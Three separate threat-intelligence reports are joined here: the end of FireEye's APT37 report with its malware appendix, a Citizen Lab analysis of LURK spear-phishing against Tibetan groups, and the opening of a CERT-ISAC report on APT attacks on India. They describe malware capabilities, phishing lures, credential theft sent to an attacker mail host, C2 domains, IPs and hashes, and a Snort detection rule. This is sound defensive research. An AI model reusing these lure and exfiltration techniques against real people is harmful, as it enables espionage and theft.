Disruptive and destructive cyber threat activity, including the use of wiper malware, public leaks of proprietary materials by false hacktivist personas, DDoS attacks and electronic warfare tactics such as GPS signal jamming is consistent with past behavior by other North Korean actors.
SPECIAL REPORT10 11APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR Attribution Outlook and Implications North Korea has repeatedly demonstrated a willingness to leverage its cyber capabilities for a variety of purposes, undeterred by notional redlines and international norms.
Though they have primarily tapped other tracked suspected North Korean teams to carry out the most aggressive actions, APT37 is an additional tool available to the regime, perhaps even desirable for its relative obscurity.
We anticipate APT37 will be leveraged more and more in previously unfamiliar roles and regions, especially as pressure mounts on their sponsor.
The slow transformation of regional actors into global threats is well established.
Minor incidents in Ukraine, the Middle East and South Korea have heralded the threats, which are now impossible to ignore.
In some cases, the global economy connects organizations to aggressive regional actors.
In other cases, a growing mandate draws the actor on to the international stage.
Ignored, these threats enjoy the benefit of surprise, allowing them to extract significant losses on their victims, many of whom have never previously heard of the actor.
12 a.m. 1 a.m. 2 a.m 3 a.m 4 a.m 5 a.m 6 a.m 7 a.m 8 a.m 9 a.m. 10 a.m 11 a.m. 12 p.m. 1 p.m. 2 p.m. 3 p.m. 4 p.m. 5 p.m. 6 p.m. 7 p.m. 8 p.m. 9 p.m. 10 p.m. 11 p.m.
Frequency Figure 5.
APT37 Compile Times Against Local Time in North Korea.
An individual we believe to be the developer behind several APT37 malware payloads inadvertently disclosed personal data showing that the actor was operating from an IP address and access point associated with North Korea.
The compilation times of APT37 malware is consistent with a developer operating in the North Korea time zone (UTC 8:30) and follows what is believed to be a typical North Korean workday (Fig.
5).
The majority of malware compilation times occurred between 10:00 a.m. and 7:00 p.m., with We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea.
This assessment is based on multiple factors, including APT37s targeting profile, insight into the groups malware development and probable links to a North Korean individual believed to be the developer of several of APT37s proprietary malware families: a dip around noon.
Additional activity occurred late into the evening.
This is consistent with media reporting of extremely long hours for North Korean workers.
The majority of APT37 activity continues to target South Korea, North Korean defectors, and organizations and individuals involved in Korean Peninsula reunification efforts.
Similarly, APT37 targeting of a Middle Eastern company in 2017 is also consistent with North Korean objectives given the entitys extensive relationships inside North Korea.
SPECIAL REPORT12 13APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR SPECIAL REPORT14 15APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR Appendix: Malware Used by APT37 Malware Description Detected as CORALDECK CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers.
CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives.
APT.InfoStealer.
Win.
CORALDECK FE_APT_InfoStealer_Win_ CORALDECK_1 DOGCALL DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents.
DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex.
DOGCALL was used to target South Korean Government and military organizations in March and April 2017.
The malware is typically dropped using an HWP exploit in a lure document.
The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL.
While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.
FE_APT_RAT_DOGCALL FE_APT_Backdoor_Win32_ DOGCALL_1 APT.Backdoor.
Win.
DOGCALL GELCAPSULE GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document.
GELCAPSULE has been observed downloading SLOWDRIFT to victim systems.
FE_APT_Downloader_Win32_ GELCAPSULE_1 HAPPYWORK HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains.
The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path.
In November 2016, HAPPYWORK targeted government and financial targets in South Korea.
FE_APT_Downloader_ HAPPYWORK FE_APT_Exploit_HWP_Happy Downloader.
APT.HAPPYWORK KARAE Karae backdoors are typically used as first-stage malware after an initial compromise.
The backdoors can collect system information, upload and download files, and may be used to retrieve a second- stage payload.
The malware uses public cloud-based storage providers for command and control.
In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users.
During this campaign, the malware used a YouTube video downloader application as a lure.
FE_APT_Backdoor_Karae_enc FE_APT_Backdoor_Karae Backdoor.
APT.Karae Malware Description Detected as MILKDROP MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.
FE_Trojan_Win32_MILKDROP_1 POORAIM POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications.
POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status.
Exfiltrated data is sent via files over AIM.
POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014.
Compromised sites have acted as watering holes to deliver newer variants of POORAIM.
Backdoor.
APT.POORAIM RICECURRY RICECURRY is a Javascript based profiler used to fingerprint a victims web browser and deliver malicious code in return.
Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect.
Exploit.
APT.RICECURRY RUHAPPY RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL.
It attempts to overwrite the MBR, causing the system not to boot.
When victims systems attempt to boot, the string Are you Happy?
is displayed.
The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three.
FE_APT_Trojan_Win32_RUHAPPY_1 SHUTTERSPEED SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable.
SHUTTERSPEED typically requires an argument at runtime in order to execute fully.
Observed arguments used by SHUTTERSPEED include: help, console, and sample.
The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199.
Many of the compromised domains in the command and control infrastructure are linked to South Korean companies.
Most of these domains host a fake webpage pertinent to targets.
FE_APT_Backdoor_SHUTTERSPEED APT.Backdoor.
SHUTTERSPEED APT.Backdoor.
SHUTTERSPEED Malware Description Detected as SLOWDRIFT SLOWDRIFT is a launcher that communicates via cloud based infrastructure.
It sends system information to the attacker command and control and then downloads and executes additional payloads.
Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector.
SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit.
Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories.
These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.
FE_APT_Downloader_Win_ SLOWDRIFT_1 FE_APT_Downloader_Win_ SLOWDRIFT_2 APT.Downloader.
SLOWDRIFT SOUNDWAVE SOUNDWAVE is a windows based audio capturing utility.
Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\Temp\HncDownload\ YYYYMMDDHHMMSS.log.
FE_APT_HackTool_Win32_ SOUNDWAVE_1 ZUMKONG ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers.
Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.
]ru.
FE_APT_Trojan_Zumkong Trojan.
APT.Zumkong WINERACK WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands.
Other capabilities include the enumeration of files, directories, services, active windows and processes.
FE_APT_Backdoor_WINERACK Backdoor.
APT.WINERACK FireEye, Inc. 601 McCarthy Blvd.
Milpitas, CA 95035 408.321.6300 877 FIREEYE (347.3393) infoFireEye.com www.
FireEye.com FireEye, Inc 2018 FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
SP.APT37.EN-US.22018
1 The Citizen Lab Research Brief Number 10  July 2012 Recent Observations in Tibet-Related Information Operations: Advanced Social Engineering for the Distribution of LURK Malware KEY FINDINGS Social engineering techniques observed in recent targeted malware attacks against Tibetan organizations appear to repurpose authentic, privately-held, sensitive content of Tibetan groups  in contrast to typical malware attacks that rely on simpler social engineering methods, such as referencing themes of interest to the organization or copying publicly available legitimate content.
The use of this unique content suggests that attackers may have achieved a preliminary level of infiltration into Tibetan organizations, which could allow them to increase the apparent authenticity of subsequent attacks.
These recent malware attacks have incorporated a passwording technique, whereby attached, infected Microsoft Office files are encrypted and can only be opened with a password provided in the email body.
The payload of each of these targeted malware attacks is the LURK malware, a remote access trojan that is a variant of Gh0stRAT.
Once active, the malware delivered through each of these targeted attacks connects to the same command-and-control server: dtl.dnsd.me:63 (184.105.64.183), which if inaccessible uses a backup domain, dtl.eatuo.com:63.
Both dnsd.me and eatuo.com are dynamic DNS providers, and eatuo.com has the same domain registration information as the well-known Chinese provider 3322.net.
Number 10  July 2012 2 BACKGROUND This blog post is the third in a series documenting the use of information operations against Tibetans and others who advocate for Tibetan rights and freedoms.
Previous research by the Citizen Lab has described information operations that leveraged the issue of self- immolations amongst Tibetans, as well as a recent European Parliament resolution on the human rights situation in Tibet.
OVERVIEW In its ongoing study of targeted cyber threats against civil society organizations, Citizen Lab has analyzed 11 malicious emails sent to Tibetan organizations between May and July 2012 that display noteworthy common elements, including malware that connects to the same command-and-control server.
Attackers have targeted at least three separate organizations, sending the malicious emails to seven different email addresses associated with those three organizations.
In each of these emails, the malicious file is password-protected, such that it can only be opened with a password provided in the email text (or in one case, in an image attached to the email), and the payload LURK malware  is the same.
The level of authenticity of the social engineering used in these emails, however, has increased over time, with the most recent emails repurposing sensitive content of Tibetan groups that was most likely privately held and/or inaccessible to the general public.
The use of such content suggests that attackers may have achieved a preliminary level of infiltration into Tibetan organizations, which could allow them to accomplish more advanced and effective social engineering, thereby increasing the risk of compromise.
TARGETED MALWARE ATTACKS In the 11 emails there are four distinct messages used in the attacks, as outlined and illustrated below.
The malicious attachments are all Microsoft Office documents  two Word documents and two Excel files  that are encrypted using four-digit numeric passwords, perhaps in an attempt to prevent detection of the malicious file by antivirus software, or to increase the apparent authenticity of the document.
The passwords appear to have been chosen to reflect dates of historical significance with respect to Tibet for example, 1959 was the year of the Tibetan uprising against the rule of the Communist Party of China, which is commemorated by the Tibetan community every year on March 10.
The malicious payloads all ommunicate with the same command-and-control (C2) server (discussed further below).
c http://citizenlab.org/2012/03/information-operations-and-tibetan-rights-in-the-wake-of-self-immolations-part-i/ http://citizenlab.org/2012/03/information-operations-and-tibetan-rights-in-the-wake-of-self-immolations-part-i/ https://citizenlab.org/2012/06/spoofing-the-european-parliament/ Number 10  July 2012 3 1.
Droeshi The first email, which was only sent to one email address of which we are aware, was sent on May 24, 2012 from what appears to be a compromised yahoo.com email account associated with a Tibetan activist, from the IP address 209.234.204.31 (likely a compromised server): Number 10  July 2012 4 Note that the salutation does not include the name of the recipient, nor is it signed.
The password required to open the attachment is 4155.1 The attachment is a Word document named Droeshi final.doc when opened and supplied with the password, it crashes Word and drops its malicious payload (described in more detail below).
No clean file is dropped or shown to the user, and there is no author or summary metadata.
2.
Statement of the Kashag The second email was sent on July 5 to at least two different organizations.
The body of these emails contains only PASSWORD: 0706.2 The subject is THE STATEMENT OF THE KASHAG ON THE SEVENTY-SEVENTH BIRTHDAY CELEBRATION OF HIS HOLINESS THE DALAI LAMA and the From address spoofs the real address of a Tibetan organization.
Although the emails are identical and were sent from the same IP address (65.166.97.211), the actual email addresses used to send each message differ: eablizgmx.com and hientrgmx.com.
This email also attached a single Word document, July6thFinal.doc, that exhibits similar behaviour to the Droeshi document but drops a slightly different malicious executable.
3.
The concept notes The third email came in two versions on July 17, differing only in an additional blank line in the email body and a typo in the subject line of one version.
The social engineering has been significantly stepped up in this attack, though there are still numerous tell-tale signs that it is not legitimate.
This email had five attachments: four benign .docx files, as well as a malicious Excel file named EIDHR_action_plan.xlsx.
https://citizenlab.org/2012/07/recent-observations/1 https://citizenlab.org/2012/07/recent-observations/2 mailto:hientrgmx.com Number 10  July 2012 5 Again there is no name in the salutation, but the email is signed in this case.
The signature and From address used spoof a representative of the Office of Tibet.
The Word documents attached to this email contain what appears to be an actual application by a Tibetan organization to the European Instrument for Democracy and Human Rights (EIDHR).
The timing of this attack is particularly noteworthy in that a genuine EIDHR call for proposals including for Actions Aimed at Fighting Cyber-Censorship and to Promote Internet Access and Secure Digital Communication  was pending at the time, with a July 20 deadline for concept notes.
Such documentation related to grant proposals is typically of a sensitive and internal nature to civil society organizations, and inclusion of such content in a targeted malware attack is concerning, as it suggests access to confidential materials and perhaps even awareness of the parameters of the EIDHR call.
Only the attached malicious Excel file requires the password  19333  to open, whereas the attached Word documents are not password protected.
The malicious Excel file is actually an OLE file, not the newer Office Open XML format that the .xlsx extension suggests, and Excel refuses to open it unless the extension is changed to .xls.
The dropped malicious executable is identical to the one from the Statement of the Kashag email.
This file also drops a clean document, set.xls, in the users temporary folder and opens it in Excel.
The contents of the file were unreadable on all computers we tried it on, displaying only question marks.
However, the metadata of the file shows the author as walkinnet.
https://webgate.ec.europa.eu/europeaid/online-services/index.cfm?dopubli.welcomenbPubliList15orderbyupdorderbyadDescsearchtypeRSaofr132760 https://citizenlab.org/2012/07/recent-observations/3 http://support.microsoft.com/kb/86008 Number 10  July 2012 6 We saw five instances of this message, going to three different organizations.
The email with the typo in the subject (Tthe concept notes) went to two different organizations, from a different IP (66.103.141.237) than the Statement of the Kashag email.
Different gmx.com addresses were used to send each message: c100tibet_boardgmx.com and ijoni_futbollistigmx.com.
The other three instances of this email had the subject The concept notes and were sent by yet more unique gmx.com addresses: abarbourgmx.com, jigme1gmx.com and agnes9gmx.com.
The first two were sent from the same IP as used for the Statement of the Kashag, but the third came from 207.178.172.2.
Number 10  July 2012 7 4.
August visit of South African group The most recent email was sent on July 20 to at least two organizations, one of which received it at two different addresses.
The email contains text and an Excel attachment that, as with the The concept notes email, suggest the attacker had access to confidential communications of a Tibetan organization.
The spoofed From address, subject (August visit of South African group), and text of the email all appear to be repurposed from an authentic message sent to a Tibetan organization from a person seeking advice regarding an upcoming trip to Dharamsala, and the content includes in-depth details on trip logistics and planning.
In this case, the password required to open the attached Excel file is not in the body of the email, but added (rather awkwardly) to an attached image of the logo of the organization belonging to the spoofed sender.
The password is 1959, the year of the aforementioned Tibetan uprising.
The attached Excel file, Dharamsala August 2012 Full program.xls, is similar to the malicious attachment in The concept notes email, but it drops a different clean file.
In this case the file is readable and contains what is almost certainly an authentic itinerary, which is referenced in the email.
The clean file is also called set.xls, defaults to the same Chinese font, and has the same walkinnet author metadata as the clean document in The concept notes.
TECHNICAL ANALYSIS Delivery Methods Within the dataset examined by Citizen Lab, two Word documents and two Excel documents were sent embedded with LURK malware, a remote access trojan that is a variant of Gh0stRAT.
Note that the XLSX file is actually a standard .XLS file, not the new XML format.
The MD5 hashes of the documents are as follows: Droeshi final.doc  58f6922dedb0d43c4478a4f38ad08620 July6thFinal.doc  f2a0787388dd6373336b3f23f204524a EIDHR_action_plan.xlsx  0fe550a5d1187d38984c505ef7741638 Dharamsala August 2012 Full program.xls  971f99af0f9df674a79507ed7b3010fb https://www.mcafee.com/us/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf Number 10  July 2012 8 Each document is encrypted with a four-digit numeric password, a tactic seen previously in other emails.
This tactic makes it more difficult to identify embedded payloads and the vulnerability used.
All of the files except for the first (Droeshi final.doc) have the same malware files embedded.
The first uses a variant of the LURK trojan that is very similar, but not identical, to the others.
Infection In each of the four cases, the document exploit drops the LURK trojan: Temp\iexplore.exe Two different versions of the trojan were seen between the four cases.
While they all use the same filenames, n one case, the MD5 of the trojan is different: i July6thFinal.doc, EIDHR_action_plan.xlsx, Dharamsala August 2012 Full program.xls: 16160a6a9b905c69cb8e92c319212980 Droeshi final.doc: 1c22ee3326affee30c3fa65f0b8413d5 LURK also uses the following files: AppData\Application Data\Help\CREATELINK.EXE AppData\Help\IconCacheEt.
DAT AppData\Help\IconConfigEt.
DAT AppData\\Help\iexplore.exe Additionally, the samples that use Excel as their vector also drop a clean file, opened after the malware executes: Number 10  July 2012 9 Temp\set.xls For persistence, the trojan also creates the following link in the Startup folder, pointing at the iexplore.exe inary in AppData: b C:\Documents and Settings\user\Start Menu\Programs\Startup\iexplore.lnk The binary in AppData is only 9KB and acts as a launcher.
IconConfigEt.
DAT is the trojans configuration file, storing the C2 server addresses and ports, as well as a campaign name identifier.
The file is mostly encrypted, with the campaign name stored in the clear.
The configuration options are read from the main executable using GetPrivateProfileStringW(), a function for pre- registry configuration storage.
This function is for backwards compatibility with pre-registry 16-bit Windows applications, and is not commonly used in modern applications.
Number 10  July 2012 10 Decryption of the configuration file is done in sub_4044B0() using a key generated in sub_404430()  the default is 0x11B29719, in the case of the more common version of the trojan the key is 0x11B297A9.
Once the values have been read from the decrypted file, it is re-encrypted in sub_404560().
Encrypted on disk (default): Decrypted: Once the configuration file is decrypted, the values are still not readable.
Fortunately, the second layer decryption is an easy process  just decrement each character by 1.
The values read from the configuration file are: 1.
Section [PPP], key P: Primary C2 server port number 2.
Section [WWW], key W: Primary C2 server name 3.
Section [PPP1], key P1: Secondary C2 server port number 4.
Section [WWW1], key W1: Secondary C2 server name 5.
Section [PPP2], key P2: Tertiary C2 server port number 6.
Section [WWW2], key W2: Tertiary C2 server name 7.
Section [MMM], key M: Campaign name Number 10  July 2012 11 In the configuration files we have looked at for this run, the primary server is dtl.dnsd.me:63, and the secondary server is dtl.eatuo.com:63.
Both dnsd.me and eatuo.com are dynamic DNS providers, and eatuo.com has the same domain registration information as the well-known Chinese provider 3322.org.
No tertiary server is given.
The malware checks in sub_4040E0() for a value of Mark in the registry at the following location: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\DbxUpdateET\ I f a value is not found, it is set with the campaign name read from the configuration file key M. Campaign Names The four samples we received use three different campaign names, identified as follows in value 7 of each configuration file: Droeshi final.doc: campaign id TIBET July6thFinal.doc: campaign id T706 (note that the password on the file is also 0706, keeping on theme) EIDHR_action_plan.xlsx: campaign id T801 Dharamsala August 2012 Full program.xls: campaign id T801 The campaign names strongly suggest that these runs are specific to the Tibetan community, and that the Txxx attacks may be coming from the same source.
The July6thFinal.doc, EIDHR_action_plan.xlsx, and Dharamsala August 2012 Full program.xls documents all drop the same trojan the Droeshi final.doc trojan is slightly different (although uses much of the same code).
Malware Analysis These samples match the behavior seen with other recorded instances of samples from this family in the wild.
LURK is also known as TrojAgent-XAT (Sophos), TROJ_MDROP.TPB and TROJ_MDROP.TPC (Trend Micro), and can also be picked up by more general antivirus detection such as Generic PWS.y (McAfee).
In http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj7EAgent-XAT/detailed-analysis.aspx http://about-threats.trendmicro.com/malware.aspx?languageuknameTROJ_MDROP.TPC http://www.mcafee.com/threat-intelligence/malware/default.aspx?id1024926 Number 10  July 2012 12 the sample analyzed by Sophos, the campaign ID is IE_0day  not immediately related to attacks on the Tibetan community.
Many more samples within this family exist with reports online  look for DbxUpdateET (where the campaign ID is stored in the registry) or the dropped files IconCacheEt and IconConfigEt.
Another Tibetan-themed example using the dtl.eatuo.com domain was reported by ZenLab on March 26, 2012.
The LURK malware is also referenced with a description of the communication protocol in Command Fives paper Command and Control in the Fifth Domain.
The network behavior we observed matches the described protocol.
An additional file with the T801 campaign ID that we observed used twice was uploaded to ThreatExpert and can be found here.
Command and Control Information A port scan of the C2 server shows the following ports are open: PORT STATE SERVICE VERSION 21/tcp open tcpwrapped 53/tcp open domain?
80/tcp closed http 81/tcp open hosts2-ns?
135/tcp open msrpc Microsoft Windows RPC 1026/tcp open msrpc Microsoft Windows RPC 8080/tcp open http-proxy?
In addition to port 63 (which is not shown as open in the above scan), ports 81 and 53 are both LURK.
Network Traffic In addition to the dropped files, infected machines can be found on a network by looking for the following indications of compromise: DNS lookup of the C2 domains: dtl.dnsd.me, dtl.eatuo.com Traffic to the C2 IP: 184.105.64.183  this includes traffic over port 53, which is normally DNS https://malwarelab.zendesk.com/entries/21199507-tibetan-journalists-targeted-by-gh0strat-in-protest-pictures-rar http://www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf http://www.threatexpert.com/report.aspx?md5ee5d4a5dddeef35a2b722fa907753e71 Number 10  July 2012 13 TCP traffic over port 53 that begins with LURK0 The beginning of a network connection to the C2 server looks like this: I f the C2 is not actively responding, not much data will be transmitted beyond TCP: For detection, Jaime Blasco from AlienVault has written a Snort rule that will detect LURK traffic (originally found here): http://labs.alienvault.com/labs/index.php/2012/some-apt-cc-traffic-snort-rules/ Number 10  July 2012 14 alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:APT LURK communication protocol detected flow:established,to_server content:4C 55 52 4B 30 depth:5 reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf classtype:trojan-activity sid:3000006 rev:1) RECOMMENDATIONS Civil society organizations, particularly those working on issues related to Tibetan rights, should exercise caution with respect to any email containing a link or attachment.
As the targeted malware attacks analyzed in this report demonstrate, content used to induce a recipient to open a malicious file may at one point have actually been authentic and private  and is that much more likely to appear legitimate.
For tips on other ways to detect probable malware attacks and prevent compromise, see Citizen Labs Recommendations for Defending Against Targeted Cyber Threats.
Civil society organizations should be wary of emails attaching password-protected documents and providing said password in the email body.
Such purported security measures are not an indicator of authenticity.
Citizen Lab encourages civil society organizations and individuals working on human rights issues that have encountered these types of targeted malware attacks to contact us at hrthreats[AT]citizenlab.org.
We appreciate submission of data, which will help strengthen our analysis of cyber threats.
__________________
FOOTNOTES 1 On April 1, 1955, the governments of India and China signed a protocol by which India handed over control of communications services in Tibet to China.
See Protocol between the Governments of India and China Regarding the Handing Over of Postal, Telegraph and Public Telephone Services in the Tibet Region of China.
https://citizenlab.org/docs/recommendations.html http://www.commonlii.org/in/other/treaties/INTSer/1955/2.html http://www.commonlii.org/in/other/treaties/INTSer/1955/2.html http://www.commonlii.org/in/other/treaties/INTSer/1955/2.html Number 10  July 2012 15 2 The Fourteenth Dalai Lama Tenzin Gyatso was born on July 6, 1935.
3 The Thirteenth Dalai Lama Thupten Gyatso passed away on December 17, 1933.
http://www.dalailama.com/biography/chronology-of-events http://www.dalailama.com/biography/chronology-of-events
Author:, Rajshekhar Murthy  Director, CERT-ISAC, National Security Database Atul Alex Cherian  Director, Research Bundle Inside Report  APT Attacks on Indian Cyber Space REPORT BY INFOSEC CONSORTIUM CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com In Collaboration with Supporting Authors: Atul Alex Cherian, National Security Database empaneled expert  Director  Research Bundle Rajshekhar Murthy, National Security Database empaneled expert  Director  CERT-ISAC (NSD) CERT-ISAC Supported by NTRO and CERT-IN, Government of India Malware analysis powered by Po Antivirus from Research Bundle CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Supported by An INFOSEC CONSORTIUM Event CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Objective: The objective of this report is the following: An overview of malware distribution in Indian Cyberspace Detailed, in-depth technical analysis of Advanced Persistent Threat (APT) actors against India Enumerate the primary technical causes leading to successful attacks Recommendations to improve and protect the overall Critical Information Infrastructuren About CERT-ISAC CERT-ISAC is Indias first Independent CERT for mobile and electronic security.
Established by the non-profit scientific foundation Information Sharing and Analysis Center (ISAC) that manages the National security Database (NSD) program, CERT-ISAC has a dedicated 30 seat threat intelligence monitoring center at New Delhi and Mumbai to monitor constant threats and attacks on the India Cyber Space.
CERT-ISAC has numerous security experts from the National Security Database program who regularly support the research initiatives.
About Po: Mobile Anti-Virus Po is an advanced behavior based mobile anti-virus designed by the organization Research Bunble, especially for the defence.
The Po Engine is currently used by CERT-ISAC for malware analysis and certification of mobile apps for security and privacy.
How is this document organized: Pre-requsites to read the document Section Rating Audience Part One Non Technical CEOS, Chairman, Directors Part Two Highly Technical Technical and Subject Matter Experts Part Three Semi-Technical Managers, CIOs, Vice Presidents and above Part Four Non Technical CEOs, Chairman, Policy makers, Authority CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Table of Contents Objective: ............................................................................................................................................................................................. 3 About CERT-ISAC .................................................................................................................................................................................. 3 About Po: Mobile Anti-Virus ................................................................................................................................................................ 3 How is this document organized: .................................................................................................................................................... 3 Pre-requsites to read the document ............................................................................................................................................... 3 PART ONE: HUNTER OR HUNTED?
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6 How is this report organized?
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6 APT campaigns against India ........................................................................................................................................................... 6 Malware Distribution in India.......................................................................................................................................................... 7 Overview of attacks on India from 26th May 2013 to 26th June 2013 .............................................................................................. 7 Attacked and compromised websites from TATA Communications ............................................................................................... 7 Attacked and compromised websites from Web Werks ................................................................................................................. 8 Attacked and compromised websites from Net Magic Datacenter Mumbai .................................................................................. 8 Attacked and compromised websites from Ctrl-S Datacenter ........................................................................................................ 9 Attacked and compromised websites from Net4India .................................................................................................................... 9 Attacked and compromised websites from National Informatics Center (NIC) ............................................................................ 10 Statistics from CERT-IN .................................................................................................................................................................. 10 Attack on Indian IT Infrastructure: Zone-H Statistics .................................................................................................................... 11 PART TWO: ADVANCED PERSISTENT THREAT - ANALYSIS ................................................................................................................. 13 The Travnet Case ........................................................................................................................................................................... 13 Travnet Technical Analysis: Part A................................................................................................................................................. 14 Travnet Technical Analysis: Part B ................................................................................................................................................. 26 Travnet Technical Analysis : Part C ................................................................................................................................................ 30 Conclusion of Travnet Analysis: ..................................................................................................................................................... 40 PART THREE: PRIMARY CAUSES ......................................................................................................................................................... 42 Use of Outdated Software on Government Websites................................................................................................................... 42 Webshells on Indian Websites ...................................................................................................................................................... 43 PART FOUR: RECOMMENDATIONS .................................................................................................................................................... 46 Policy on Domain Name acquisition, management  maintenance ............................................................................................. 46 Policy on Vendor qualification for secure website development.................................................................................................. 46 Policy on Patch Management ........................................................................................................................................................ 46 Policy, Process and Guidelines on Full disclosures ........................................................................................................................ 47 Role of National Security Database ............................................................................................................................................... 47 References:.................................................................................................................................................................................... 47 CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com PART ONE Hunter or the hunted?
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CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com PART ONE: HUNTER OR HUNTED?
Attacks  Cyber threats against India www.
ResearchBundle.com The recent Operation Hangover report from Normans Malware Detection Team has projected India as an emerging APT actor.
The report goes on to document a detailed analysis of targeted malware and lists a small number of Indian-based companies that were potentially threat actors involved in the campaign.
While the Hangover report itself has been widely debated in the Indian Information Security community, there is little proof, beyond circumstantial evidence provided in the Norman report, that Indian actors were behind this APT campaign, and the larger concern remains that India is the victim of numerous APT campaigns, rather than an instigator of this threat.
As our Government is rapidly migrating towards e-governance, it is vital to ensure a robust approach to data security is implemented from an early stage to prevent misuse and subsequent attacks on critical infrastructure and the national economy.
A quick look at Indias history with respect to battling cyber threats, reveals an age- old  on-going war between the hackers from various Nations.
Defacement of Indian government sites date back to the year 2003  even today, they continue to happen.
In this report, we analyse the various facts and provide in-depth analysis of an Advanced persistent threat attack on India that makes us ask  Are we the hunter or the hunted?
How is this report organized?
Part one  Hunter or the Hunted?
Part two  Advanced persistent threat - analysis Part three - Primary Causes Part four - Recommendations APT campaigns against India Advanced persistent threat or APT as it is known, is a reality today.
Unlike the regular script-kiddie attacks that are carried out usually for fun or for fame, APTs are serious campaigns, undertaken by groups with a variety of skill-sets.
The focus of an APT campaign usually is to gather valuable information against specific companies / organizations or selected sectors of a country.
These usually begin with highly targeted spear-phishing attacks.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Malware Distribution in India Out of 25,935 websites scanned by Google, 14 websites were infected by Malware.
Overview of attacks on India from 26th May 2013 to 26th June 2013 AS  Attack Sites Attacked and compromised websites from TATA Communications CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Attacked and compromised websites from Web Werks Attacked and compromised websites from Net Magic Datacenter Mumbai CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Attacked and compromised websites from Ctrl-S Datacenter Attacked and compromised websites from Net4India CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Attacked and compromised websites from National Informatics Center (NIC) Statistics from CERT-IN To make some sense of the current scenario of cyber security in India, lets have a look at some of the statistics published by CERT-India.
The following table should give us a good idea of how things are shaping up.
Activity  2006 2007 2008 2009 2010 2011 Security Incidents handled 552 1237 2565 8266 10315 13301 Security Alerts issued  48 44 49 29 43 48 Advisories Published  50 66 76 61 72 81 Vulnerability Notes Published  138 163 197 157 274 188 Security Guidelines Published  1 1 1 0 1 4 White papers/Case Studies Published 2 2 1 1 1 3 Trainings Organized  7 6 18 19 26 26 Indian Website Defacements tracked 5211 5863 5475 6023 14348 17306 Open Proxy Servers tracked  1837 1805 2332 2583 2492 3294 Bot Infected Systems tracked  0 25915 146891 3509166 6893814 6277936 Its not surprising to note that the threats are increasing at an alarming rate, year after year.
In a way, its heartening to observe the CERT evolve  rise upto newer challenges  latest threats.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Unfortunately, its not enough.
The reports submitted by CERT do not take into account the most fundamental aspects of maintaining a state of secure IT environment.
This fact is evident from the number of security incidents that happen over an year  how the right authorities react to them.
If every reported incident was handled properly by identifying the root cause, followed by a full security audit, we wonder if the numbers would grow so fast.
As mentioned earlier, cases of government sites being defaced date back to 2003.
